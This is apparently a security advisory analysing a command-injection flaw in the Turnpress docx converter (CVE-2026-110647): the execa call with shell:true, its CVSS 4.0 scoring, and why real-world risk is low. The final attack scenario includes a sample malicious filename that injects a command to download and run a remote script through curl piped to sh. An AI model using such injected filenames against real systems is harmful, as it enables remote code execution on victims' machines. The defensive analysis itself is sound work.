Turnpress CVE-2026-110647

Exploitation requires the victim to invoke Turnpress's 'convert' or 'create' operation on an attacker-controlled .docx file whose filename contains shell metacharacters; the vulnerable path is convertDocxToHtml in src/converter.ts, which passes the --docx path to pandoc via execa with shell:true. The limiting factors are significant: the attack vector is local (AV:L) because the malicious file must be supplied to and processed by the tool on the victim's machine, and user interaction is required (UI:P) because nothing executes until the victim runs a convert/create command. No authentication is needed to craft the filename (PR:N), and default configurations are affected since shell:true is the shipped behavior through 0.4.2 - pandoc must be installed and invoked for the sink to trigger. Commands run only with the invoking user's privileges, with no scope change to other components (SC/SI/SA:N).

This is a genuine but low-urgency issue. The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H) scores 8.5 largely because of full high impact to confidentiality, integrity and availability - the code achieves arbitrary OS command execution via execa with shell:true. However, the two signals that most limit real-world risk are AV:L (local attack vector - the malicious .docx must be fed to the tool on the victim's own system) and UI:P (the victim must actively run a convert or create operation on the attacker-supplied file). No EPSS score was provided, the CVE is not in CISA KEV, and no public exploit code is referenced, so exploitation is no public exploit identified at time of analysis. PR:N means no authentication is required to supply a weaponized filename, but code only runs with the victim's privileges, so there is no privilege escalation beyond the operator's own context. Weigh this against the product itself: Turnpress is an obscure open-source docx-to-HTML converter with negligible deployment footprint, so despite the high base score this is not a mass-exploitation priority - it is a 'patch when convenient' supply-chain hygiene item for the few projects that embed this dependency. Note one tension: the base score is high (8.5) yet every practical gating factor (local, user-interaction, niche product, no exploitation evidence) points to limited real-world risk.

An attacker distributes a .docx file whose filename contains shell metacharacters (e.g. 'report;$(curl attacker.sh|sh).docx') through a channel the victim trusts, such as email or a shared folder. When the victim runs Turnpress convert or create on that file, convertDocxToHtml passes the --docx path to pandoc through execa with shell:true, causing the embedded command to execute with the victim's privileges. No public exploit code is identified, but the one-line sink makes a working payload trivial to construct.